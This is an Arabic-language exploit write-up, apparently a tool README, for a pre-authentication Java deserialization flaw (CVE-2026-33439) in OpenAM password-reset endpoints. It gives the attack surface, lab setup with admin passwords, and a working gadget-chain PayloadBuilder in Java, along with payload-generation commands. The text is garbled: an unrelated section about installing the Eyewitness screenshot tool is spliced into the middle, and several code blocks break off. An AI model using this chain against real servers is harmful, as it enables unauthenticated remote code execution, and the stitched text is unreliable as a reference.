---

<div id="vulnerability_affected"/>

### ***النسخ المتأثرة***

| المنتج                     | النسخ المعرضة                                | الإصلاح  |
|-----------------------------|-------------------------------------------------|--------|
| OpenIdentityPlatform OpenAM | ≤ 16.0.5                                        | 16.0.6 |
| ForgeRock AM (المشتقات)    | من المحتمل أن تكون متأثرة اعتمادًا على سلسلة التصحيحات | -      |

---

<div id="vulnerability_attacksurface"/>

### ***سطح الهجوم***

أي نقطة نهاية JATO ViewBean يحتوي JSP الخاص بها على وسم *< jato:form >* تكون قابلة للاستغلال قبل المصادقة:

| نقطة النهاية             | الغرض                                 |
|---------------------------|--------------------------------------|
| /ui/PWResetUserValidation | إعادة تعيين كلمة المرور - إدخال هوية المستخدم |
| /ui/PWResetQuestion       | إعادة تعيين كلمة المرور - أسئلة الأمان  |

نقاط نهاية إعادة تعيين كلمة المرور هي الهدف الأساسي، فهي متاحة للجمهور بطبيعتها ومضمون أن تعرض وسوم *< jato:form >*.



---
---
---



<div id="gadgetchain"/>

## ***⚙️ سلسلة Gadget***

<div id="gadgetchain_deserialization101"/>

### ***أساسيات إلغاء تسلسل Java***

عندما تقوم Java بإلغاء تسلسل كائن من دفق بايت، فإنها تستدعي `readObject()` على كل فئة تعيد بنائها، بما في ذلك الكائنات المتداخلة. إذا كان المهاجم يتحكم في دفق البايت ويحقن كائنًا يتسبب استدعاء `readObject()` الخاص به في سلسلة من استدعاءات الدوال تنتهي بتنفيذ كود، فإنه يحصل على RCE عبر سلسلة Gadget.

الرؤية الرئيسية لـ CVE-2026-33439: لا تتطلب سلسلة Gadget أي مكتبات خارجية. كل فئة في السلسلة مضمّنة داخل حزمة OpenAM WAR نفسها `openam-core-16.0.5.jar, xalan-2.7.3.jar, and click-nodeps-2.3.0.jar`. <u>وهذا يجعل الثغرة قابلة للاستغلال على أي نشر افتراضي لـ OpenAM.</u>

---

<div id="gadgetchain_encoding"/>

### ***Encoder.decodeHttp64***

هذا هو التفصيل الحرج الذي يجعل الاستغلال يعمل. تستخدم فئة `Encoder` في `jato-shaded-16.0.5.jar` مُرمِّز/فك ترميز base64 الآمن لعناوين URL في Java - وليس base64 القياسي، وليس مخطط استبدال أحرف مخصصًا.

تم التحقق من ذلك عن طريق تفكيك شيفرة Encoder.class:```bash
# Extract Encoder.class from the JATO JAR
jar xf /work/jato-shaded-16.0.5.jar com/iplanet/jato/util/Encoder.class

# Decompile and inspect decodeHttp64
javap -p -c com/iplanet/jato/util/Encoder.class | grep -A10 "decodeHttp64"

Base64 الآمن لعناوين URL يستخدم `-` بدلاً من `+` و `_` بدلاً من `/`، دون حشو `=`. الترميز الصحيح هو:```java
Base64.getUrlEncoder().withoutPadding().encodeToString(serializedBytes)

**الخطوة 3 - تكوين OpenAM من المتصفح**

انتقل إلى "http://localhost:8080/openam"، وانقر على "Create Default Configuration" ثم عيّن:

| الحقل                           | القيمة         |
|---------------------------------|---------------|
| كلمة مرور المستخدم الافتراضي (amadmin) | Lab@dm1n2026! |
| كلمة مرور الوكيل                  | secret12      |

انتظر حوالي دقيقتين لاكتمال التكوين.

**الخطوة 4 - تأكيد تمكين إعادة تعيين كلمة المرور**

سجّل الدخول باسم amadmin ← Configure ← Global Services ← Password Reset ← فعّل المفتاح ← Save Changes.

**الخطوة 5 - تحديد نقاط نهاية JSP القابلة للاستغلال**

ابحث عن جميع ملفات JSP في WAR التي تحتوي على وسمات *< jato:form >*، فهذه هي نقاط النهاية التي يتم فيها تشغيل إلغاء تسلسل jato.clientSession:```powershell
# Identify all JSPs containing <jato:form> tags - these are the deserialization sinks
docker exec cve_2026_33439_openam grep -rl "jato:form" /usr/local/tomcat/webapps/openam

# Inspect web.xml to understand how the password reset servlet is mapped to HTTP routes
docker exec cve_2026_33439_openam grep -A5 -B5 "PWReset\|password" /usr/local/tomcat/webapps/openam/WEB-INF/web.xml | Select-String "url-pattern|servlet-name|PWReset|password"

## المنصات المدعومة حالياً

سيتم دعم منصات إضافية قريباً

دعم إصدار Python: الإصداران 2.7 و3.4+ مدعومان حالياً

## التثبيت

### التثبيت عبر PyPI

ملاحظة: نختبر حالياً توفير طريقة تثبيت بديلة عبر setup.py. من المتوقع أن تعمل هذه الطريقة مع التثبيت المحلي والتثبيت عبر virtualenv. لا نوصي باستخدامها للتثبيت العام بعد.

### أحدث إصدار تطويري

لاستخدام إصدار التطوير، يجب أن يكون pip مثبتاً لديك. نفّذ الأمر التالي:

### التثبيت عبر Pip

هذه هي طريقة التثبيت الموصى بها حالياً. ستقوم بتثبيت الإصدار المستقر من Eyewitness.

### تثبيت التبعيات

لتثبيت التبعيات، نفّذ الأمر التالي:

ملاحظة: يتيح إصدار Python 3.4+ فقط تشغيل ملف setup.py. إذا كنت تستخدم Python 2.7، فسيتعين عليك تثبيت التبعيات يدوياً.

## الاستخدام

لبدء استخدام Eyewitness، يجب عليك توفير ملف يحتوي على عناوين URL لالتقاط لقطات شاشة لها. يجب تنسيق الملف بحيث يتضمن كل سطر عنوان URL واحد، ويجب أن تكون العناوين بالصيغة `https://example.com` (بما في ذلك البروتوكول). افتراضياً، يكون دليل الإخراج هو `./screenshots`.```jsp
<%-- Always instantiates ViewBean and processes jato.clientSession --%>
<jato:useViewBean className="com.sun.identity.password.ui.PWResetUserValidationViewBean">

	<%-- Only renders if ViewBean activates this block --%>
	<jato:content name="resetPage">
		<jato:form name="PWResetUserValidation" method="post">
			<%-- jato.clientSession hidden field appears here --%>
		</jato:form>
	</jato:content>

</jato:useViewBean>

<div id="lab_access"/>

### ***الوصول***```powershell
# Drop into the attacker container
docker exec -it cve_2026_33439_attacker bash

---
---
---



<div id="exploitation"/>

## ***💣 الاستغلال***

<div id="exploitation_prerequisites"/>

### ***المتطلبات الأساسية***

<p align="center">
	<img src="https://assets.kitploit.com/production/public/readmes/42320/2973d3543882b160a0c3e86bc565ee7e018c3869ebd211fd7acc60dc64dd2975.png">
</p>

| المتطلب            | ملاحظات                                                                                                                            |
|------------------------|----------------------------------------------------------------------------------------------------------------------------------|
| JDK 21 (javac)         | يجب أن يطابق إصدار JVM الذي يعمل عليه OpenAM. JRE وحده لا يكفي، حيث أن javac مطلوب لترجمة EvilTranslet و PayloadBuilder |
| openam-core-16.0.5.jar | منسوخ من حاوية OpenAM - يحتوي على Column و Column$ColumnComparator و PropertyUtils                                           |
| xalan-2.7.3.jar        | منسوخ من حاوية OpenAM - يحتوي على TemplatesImpl و TransformerFactoryImpl                                                    |
| serializer-2.7.3.jar   | منسوخ من حاوية OpenAM - يحتوي على SerializationHandler المستخدم بواسطة EvilTranslet                                                |
| click-nodeps-2.3.0.jar | منسوخ من حاوية OpenAM - يحتوي على Table (مطلوب بواسطة Column$ColumnComparator)                                              |
| click-extras-2.3.0.jar | منسوخ من حاوية OpenAM - اعتماد تابع لـ click-nodeps                                                             |
| jato-shaded-16.0.5.jar | منسوخ من حاوية OpenAM - يحتوي على Encoder مع decodeHttp64                                                                |
| servlet-api.jar        | منسوخ من مجلد lib/ في Tomcat - Jakarta Servlet API مطلوب لتسلسل Table                                                |
| Python 3.8+            | لسكربت إثبات المفهوم (PoC)                                                                                                               |
| requests               | pip install requests                                                                                                             |

---

<div id="exploitation_discovery"/>

### ***الاكتشاف والاستطلاع***

**الخطوة 1 - تأكيد أن OpenAM يعمل وتحديد الإصدار**```
http://localhost:8080/openam/ccversion/Version

**الخطوة 3 - تأكيد معالجة jato.clientSession**```bash
curl -sk "http://openam.lab.local:8080/openam/ui/PWResetUserValidation" | grep "jato"

// Encoder.decodeHttp64() uses Java URL-safe base64 (getUrlDecoder)
static String encodeHttp64(byte[] data) {
	return Base64.getUrlEncoder().withoutPadding().encodeToString(data);
}

static void setField(Object obj, String name, Object value) throws Exception {
	Field f = obj.getClass().getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

static void setFieldPQ(Object obj, String name, Object value) throws Exception {
	Field f = PriorityQueue.class.getDeclaredField(name);
	f.setAccessible(true);
	f.set(obj, value);
}

public static void main(String[] args) throws Exception {
	byte[] bytecode = Files.readAllBytes(Paths.get(args[0]));

	// Step 1 - TemplatesImpl with EvilTranslet bytecode
	// getOutputProperties() -> defineTransletClasses() -> newInstance() -> <clinit>
	TemplatesImpl templates = new TemplatesImpl();
	setField(templates, "_bytecodes",     new byte[][]{ bytecode });
	setField(templates, "_name",          "EvilTranslet");
	setField(templates, "_tfactory",      new TransformerFactoryImpl());
	setField(templates, "_transletIndex", 0);

	// Step 2 - Column with Table associated
	// Column$ColumnComparator.compare() calls column.getTable().isSortedAscending() before calling column.getProperty(). Table must not be null.
	Table table = new Table();
	Column column = new Column("outputProperties");
	column.setTable(table);

	@SuppressWarnings("unchecked")
	Comparator<Object> comparator = (Comparator<Object>) column.getComparator();

	// Step 3 - PriorityQueue as deserialization trigger
	// readObject() -> heapify() -> siftDown() -> comparator.compare()
	// Size must be >= 2 for heapify to call compare()
	PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
	setFieldPQ(queue, "queue", new Object[]{ templates, templates });
	setFieldPQ(queue, "size",  2);

	// Step 4 - Serialize and URL-safe base64 encode
	ByteArrayOutputStream baos = new ByteArrayOutputStream();
	ObjectOutputStream oos = new ObjectOutputStream(baos);
	oos.writeObject(queue);
	oos.close();

	System.out.println(encodeHttp64(baos.toByteArray()));
}

**الخطوة 4 - إنشاء الحمولة**```bash
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED -cp $CP PayloadBuilder /work/EvilTranslet.class > /work/payload.b64

# Verify it starts with the Java serialization magic bytes (rO0A = \xACED\x00\x05 in base64)
head -c 10 /work/payload.b64